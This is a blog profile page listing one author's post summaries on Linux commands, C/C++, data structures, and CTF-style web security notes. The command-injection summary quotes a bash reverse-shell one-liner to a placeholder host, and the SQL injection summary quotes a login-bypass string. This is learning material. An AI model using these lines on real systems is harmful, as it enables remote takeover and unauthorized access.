自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(43)
  • 收藏
  • 关注

原创 初始Linux操作系统及Liux基本指令的使用(一)

本文介绍了Linux操作系统的基础知识和常用指令。首先概述了Unix、苹果和Windows操作系统的起源,重点讲解了Linux系统的诞生背景和发行版本。随后详细说明了Linux基本指令的使用方法,包括pwd查看目录、ls查看文件属性、cd路径切换、touch新建文件、mkdir创建目录、rm删除文件/目录等。文章还补充了stat、tree、which、man、cat、nano等实用命令,帮助读者快速掌握Linux基础操作。通过清晰的示例和分类说明,为初学者提供了全面的Linux入门指南。

2026-05-13 21:13:30 508

原创 C++类和对象(中)

本文介绍了C++类和对象中的默认成员函数,包括构造函数、析构函数、拷贝构造函数和赋值运算符重载。构造函数用于对象初始化,具有自动调用、可重载等特点;析构函数用于资源清理,自动调用且一个类只能有一个。拷贝构造函数实现对象拷贝,需注意深浅拷贝问题。运算符重载允许自定义类类型对象的运算符行为,需遵循特定语法规则。文章通过代码示例详细说明了这些成员函数的使用场景和注意事项,帮助读者掌握C++面向对象编程的核心概念。

2026-05-13 21:10:48 367

原创 C++类和对象(上)——从类定义到 this 指针,解锁面向对象核心入门

文章摘要 本文深入讲解了C++类和对象的基础知识,主要包括:1)类的定义格式,包括成员变量和成员函数的声明方式;2)访问限定符public/private/protected的作用及封装特性;3)类域的概念和使用方法;4)实例化过程及对象内存对齐规则;5)this指针的原理和应用场景;6)通过Stack类的实现对比C++与C语言的面向对象差异。文中配有代码示例和内存图解,特别强调了封装思想和this指针在成员函数中的隐式调用机制,最后通过空指针调用成员函数的经典案例展示了底层实现原理。

2026-03-29 17:31:16 489

原创 C++入门——缺省参数,函数重载,引用,inline函数,nullptr的介绍和使用

C++基础特性解析 本文介绍了C++四大核心特性: 1️⃣缺省参数:支持全缺省与半缺省(右→左连续),声明时指定默认值可简化调用; 2️⃣函数重载:通过参数类型/数量区分同名函数,体现多态性; 3️⃣引用:变量的别名,需初始化且不可改绑,用于高效传参/返回,与指针互补但更安全; 4️⃣内联函数:inline建议编译器展开代码以消除栈帧开销,适合短小高频函数。 另有nullptr关键字解决NULL类型歧义问题。通过代码示例对比特性差异,帮助理解C++底层设计逻辑。

2026-03-29 17:31:05 655

原创 【数据结构】:排序(二)——归并与计数排序详解

本文介绍了归并排序和计数排序两种算法。归并排序采用分治法,通过递归分解和有序合并实现排序,时间复杂度为O(nlogn);计数排序利用哈希思想统计元素出现次数,时间复杂度为O(n+range)。文章对比了各排序方法的性能特点,包括稳定性和适用场景,并提供了完整的代码实现与测试结果。作者通过生动的代码注释和图示,帮助读者理解算法原理,鼓励技术交流与共同进步。

2025-12-06 17:16:04 862 5

原创 【数据结构】:排序(一)

本文介绍了常见的排序算法分类及具体实现方法,主要包括插入排序(直接插入排序、希尔排序)、选择排序(堆排序、直接选择排序)和交换排序(冒泡排序,快速排序)。文章详细讲解了每种算法的基本思想、代码实现和优化方法,并通过示例代码和运行结果进行验证。文章内容清晰实用,适合编程学习者参考实践。

2025-11-23 15:08:35 1054 6

原创 【数据结构】:二叉树——顺序结构,链式结构的实现及相关操作

本文介绍了树和二叉树的基本概念及相关性质。首先阐述了树的结构特点与相关术语,包括度、层次、路径等概念。重点讲解了二叉树的特性、分类(满二叉树和完全二叉树)以及5条重要性质。文章还详细介绍了二叉树的顺序存储结构,并以堆的实现为例,展示了初始化、插入、删除等操作的代码实现,包括向上调整和向下调整算法。最后给出了测试代码的运行结果,验证了堆的基本功能实现。全文通过图文并茂的方式,系统性地讲解了树和二叉树这一非线性数据结构的基础知识。

2025-11-04 16:53:24 1032 10

原创 数据结构——栈和队列

本文介绍了栈和队列的基本概念及实现。栈是一种后进先出(LIFO)的线性表,支持在固定端(栈顶)进行插入(压栈)和删除(出栈)操作。文章详细讲解了用数组实现栈的具体方法,包括初始化、销毁、入栈、出栈、获取栈顶元素等核心操作,并提供了完整的C语言代码示例。此外,还比较了数组和链表实现栈的优缺点,指出数组实现更节省空间。通过调试示例验证了代码的正确性,为数据结构学习提供了实践参考。

2025-10-20 17:07:39 641 5

原创 数据结构——链表(二)

数据结构——链表(二)摘要 本文主要讲解了顺序表与链表的对比、链表的分类以及双向链表(带头双向循环链表)的具体实现。 核心内容: 顺序表与链表对比:从存储连续性、访问效率、插入删除效率、空间利用率等方面分析了两者的差异 链表分类:按照带头/不带头、单向/双向、循环/不循环等维度介绍了8种链表结构 双向链表实现: 初始化:创建哨兵位节点 尾插/头插:详细图示和代码实现 尾删:配合判空操作和打印功能 关键点:指针调整顺序和内存管理 代码特点: 模块化设计(List.h/List.c/test.c) 清晰的断言检

2025-10-19 10:23:18 941 2

原创 数据结构——链表

本文介绍了链表的基本概念和操作,重点讲解了单链表的定义、插入和删除操作。链表是一种非连续的线性数据结构,通过指针实现元素的逻辑顺序。单链表的每个节点包含数据和指向下一个节点的指针。文章详细说明了如何实现链表的尾插、头插、尾删和头删操作,并分析了各操作的时间复杂度。尾插和尾删的时间复杂度为O(N),而头插和头删则为O(1)。链表相比顺序表在动态内存管理方面具有优势,能够避免空间浪费和频繁扩容的问题。代码示例展示了链表的具体实现方法。

2025-09-24 16:50:14 1072 4

原创 数据结构——顺序表

本文介绍了顺序表的基本概念、分类及操作实现。顺序表是线性表的一种,采用数组存储,具有物理地址连续的特点。文章分为静态和动态顺序表两类,详细讲解了动态顺序表的初始化、插入(尾插、头插)和删除(尾删)操作的代码实现,包括增容处理。通过头文件、实现文件和测试文件的分离,展示了模块化编程思想。顺序表的底层是数组,通过指针管理动态内存,确保数据存储的高效性和灵活性。

2025-09-22 17:12:57 867 1

原创 数据结构——算法复杂度

C++领域的学习者,专注知识拆解与代码实践,代码世界的“拆题玩家”,一边啃底层原理,一边写落地demo,主打把复杂逻辑掰成“新手能懂的样子”📖。

2025-09-20 17:36:47 864 6

原创 C++启航:从0到1,解锁面向对象编程的第一把密钥

C++领域的学习者,专注知识拆解与代码实践,代码世界的“拆题玩家”,一边啃底层原理,一边写落地demo,主打把复杂逻辑掰成“新手能懂的样子”📖。

2025-09-14 16:55:23 1051 12

原创 预处理详解

基本语法#define name stuff//后面不加分号//1.定义普通常量,如上图//2.为register创建一个简短的名字register//1.定义普通常量,如上图 //2.为register创建一个简短的名字 # define reg register //register就是寄存器 //register int num;

2025-09-11 20:17:48 979 4

原创 C语言——文件操作

磁盘(硬盘)上的文件是文件;程序文件数据文件。

2025-09-09 17:34:05 1111 1

原创 动态内存管理&柔性数组

但其有个缺点就是开辟大小固定;数组空间一旦确定了就不能调整。这就不得不提到动态内存的开辟了。

2025-09-04 21:03:46 869

原创 自定义类型:联合和枚举

本文介绍了C语言中的联合体和枚举类型。联合体(共用体)的特点是所有成员共用同一块内存空间,大小至少为最大成员的大小,并需考虑内存对齐。联合体可节省内存,如用于礼物清单设计,还可用于判断机器字节序。枚举类型通过列举可能取值增强代码可读性,相比#define更严谨且便于调试,如计算器程序中用枚举替代数字选项。枚举常量具有作用域规则,在函数内声明则仅限于该函数使用。

2025-08-25 18:49:07 368

原创 自定义类型:结构体

本文介绍了C语言中结构体的相关概念和使用方法。主要内容包括:结构体的特殊声明(匿名结构体)、自引用、内存对齐规则及优化策略;结构体传参时建议使用指针以提高效率;位段(bit-field)的定义、内存分配特点、跨平台问题及其应用场景。特别强调了位段虽能节省空间但存在可移植性问题,并指出位段成员不能直接取地址的限制。

2025-08-24 19:25:31 707 1

原创 数据在内存中的存储

但是C语言中还有16bit的short型等,另外对于位数大于8位的处理器,例如16位或者32位的处理器,由于寄存器宽度大于一个字节,那么必然存在着一个如何将多个字节安排的问题。超过一个字节的数据在内存中存储的时候就有存储顺序的问题,按照不同的存储顺序,我们分为大端字节序存储和小端字节序存储。设计虽精妙,但有时候浮点数有可能是无法精确保存的,如十进制数字1.2转换为二进制,小数点后有很多位,在VS调试后可能会有些许误差。例:2^10的E是10,保存为32位浮点数为10+127=137,即10001001。

2025-08-23 19:34:28 1036

原创 C语言——内存函数

本文介绍了C语言中常用的内存操作函数及其模拟实现。memcpy用于内存块拷贝;memmove则可处理重叠内存的拷贝,通过分区域判断拷贝方向。memset用于设置内存内容,memcmp用于比较内存块内容。文章通过代码示例和内存图示详细讲解了memcpy和memmove的模拟实现过程,包括指针类型转换、拷贝方向判断等关键技术点,并提供了各函数的官方文档链接和使用注意事项。这些函数都需包含<string.h>头文件。

2025-08-22 16:46:08 904

原创 C语言——字符函数与字符串函数

本文介绍了C语言中常用的字符和字符串处理函数,包括:1) 字符分类函数(如islower/isupper)及其应用;2) 字符转换函数(tolower/toupper);3) strlen函数功能、注意事项及递归实现;4) strcpy字符串拷贝函数的使用要点和模拟实现;5) strcat字符串拼接函数的实现原理;6) strcmp字符串比较函数的基本用法。文章通过代码示例详细说明了这些核心字符串函数的应用场景和注意事项,并提供了部分函数的模拟实现方法,帮助深入理解其底层原理。

2025-08-21 18:30:29 869

原创 C语言——深入理解指针(四)

在下图中,括号内s=a+2,其中a和2都是int类型,算出来s=12,但sizeof并不会去计算,而是看s本身是什么类型,short类型占两个字节,所以打印出来的仍是2而不是4;而打印s的值时,也不会因为在sizeof里面的算式而改变。其统计的是从strlen函数的参数str中这个地址开始向后,\0之前字符串中字符的个数。是操作符,用于计算变量所占内存大小(不关注内存中存放什么数据),单位是字节。(1)操作符sizeof。

2025-08-15 22:47:02 492

原创 C语言——深入理解指针(三)

首先我们来回顾一下函数的而就是通过函数指针调用的函数。我们将函数的指针(地址)作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,被调用的函数就是回调函数。

2025-08-13 23:47:59 1174

原创 C语言——深入理解指针(二)

本小节结合指针和数组进行使用。

2025-08-10 22:59:39 1035 1

原创 C语言——深入理解指针(一)

进入指针后,C语言就有了一定的难度,我们需要认真理解。

2025-05-19 16:06:49 956

原创 C语言——操作符

16进制的数字每⼀位是0~9,a~f的,0~9,a~f的数字,各⾃写成2进制,最多有4个2进制位就足够了, 比如f的二进制是1111,所以在2进制转16进制数的时候,从2进制序列中右边低位开始向左每4个2进 制位会换算⼀个16进制位,剩余不够4个二进制位的直接换算。8进制的数字每⼀位是0~7的,0~7的数字,各⾃写成2进制,最多有3个2进制位就⾜够了,⽐如7的二进制是111,所以在2进制转8进制数的时候,从2进制序列中右边低位开始向左每3个2进制位会换算一个8进制位,剩余不够3个2进制位的直接换算。

2025-05-07 20:13:58 1008

原创 C语言数组和函数的实践———扫雷游戏

992210。

2025-05-06 19:47:04 306

原创 函数递归+函数栈帧(简)

函数不返回,函数对应的栈帧空间就一直被占用,所以如果函数调用中存在递归调用的话,每一次递归函数调用都会开辟自己的栈帧空间,直到函数递归不再继续,开始回归,才逐渐释放栈帧空间。因而如果采用递归的方式完成代码,递归层次太深,就会浪费很多的栈帧空间,也可能引起。每一次函数调用,都会在内存的栈区申请空间来保存函数调用期间的各种局部变量的值,这块空间被称为运行时堆栈,或者叫。(在不同的编译器下,函数调用过程中栈帧的创建是略有差异的,具体细节取决于编译器的实现)

2025-05-04 16:29:39 500 1

原创 VS调试技巧

VS调试技巧

2025-05-03 17:27:39 413

原创 C语言——函数

C语言函数学习

2025-04-24 22:46:03 1016 1

原创 C语言——数组

数组快速理解并使用

2025-04-21 21:56:42 488 2

原创 c语言程序设计1~2

(1)任何程序都可用三种基本结构来表示。(2)每种基本结构都只有一个入口和一个出口。(3)程序中没有死循环和死语句。原则:(1)自顶向下,逐步求精(2)模块化设计(3)程序结构化基本步骤:分析问题,设计算法,编写程序。(1)基本特征:有穷性,确定性,有效性,有零个或多个输入,有一个或多个输出。(2)流程图运行结果:MyfirstCprogram!注意!!!(1)一个c语言程序,有且仅有一个main函数,且永远从main函数进入和出去。(2)

2025-01-17 15:55:01 751

原创 命令注入漏洞

在bash中使用“bash -i>&/dev/tcp/x.x.x.x/port 0>&1”将bash的输入输出重定向到远程端口。若目标存在可写入的web文件,那么可以采用复制需要的文件到web目录下,然后通过HTTP进行访问的方法获取结果。windows cmd的转义字符为“^”,Linux bash的转义字符为“/”,例。b.字符黑名单:如果题目对cat,flag进行限制,可以采用变量拼接的方法;在bash中,可以使用&&,||,;在cmd中,可以使用&&,||,%0a。bash中,a.禁止使用空格。

2024-12-05 22:51:24 593

原创 SSRF入门+进阶

SSRF漏洞一般出现在由调用外部资源的场景中,比如社交服务的分享功能,图片识别服务,网站采集服务,远程资源请求,文件处理服务等。由于它支持子当以内容,所以可以用于端口探测,获取banner,发送一些简单的流量给其他服务,比如redis。:大多是因为服务端提供了从外部服务获取数据的功能,但没有对目标的地址,协议等重要参数进行过滤和限制,从而导致可以自由构造参数,从而发起预期外的请求。”作为起点标识,比如“?port表示服务器端口,不填的话,则使用协议的默认端口,比如http的80,ftp的21。

2024-12-05 22:49:17 436

原创 XSS进阶——跨站脚本攻击漏洞

绕过script-src ‘self’,self意味着只允许加载同域名目录下的脚本,所以我们可以寻找文件上传或者jsonp接口,如果是图片上传接口,即访问资源时的Content-Type为image/png,浏览器会拒绝将其作为脚本。常见的过滤方式是对用户输入的标签进行限制,若采用黑名单的方式,可以寻找黑名单中遗漏的标签。CSP用于检测并缓解某些特定类型的注入,包括XSS和数据注入,使用前需要配置HTTP头部配置Content-Security-Policy字段。指令:获取指令,文档指令,导航指令。

2024-12-05 22:45:21 516

原创 XSS入门——跨站脚本攻击漏洞

如果服务器未对url所携带的参数做过滤和判断,直接返回响应页面,xss攻击代码则会被一起传输到用户的浏览器,就触发反射型xss(例当用户被诱导点开某个注入xss漏洞的代码,信息就会被窃取)——除过常见的http,https这些协议外,有些a标签的href属性值为javascript:void(0)其中的“javascript:”就是js伪协议,由js引擎来执行,如。,客户端的js具有操作DOM的功能,可以提取用户的输入,然后直接插入到DOM中,这就造成了XSS。即鼠标移动的时候此代码就会执行。

2024-12-05 22:38:15 531

原创 sql注入

后端后端。

2024-11-11 00:35:32 1877

原创 【无标题】网络协议

子网掩码解决IP地址分配不均的问题,用来划分网络号和主机号。

2024-11-09 14:16:45 1685

原创 sql注入万能密码及闭合符的判断

17..admin' or 'a'='a 密码随便。

2024-10-27 20:49:30 845

原创 常用markdown语法(基础)

简单markdown语法,快速运用

2024-10-13 19:51:45 751

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除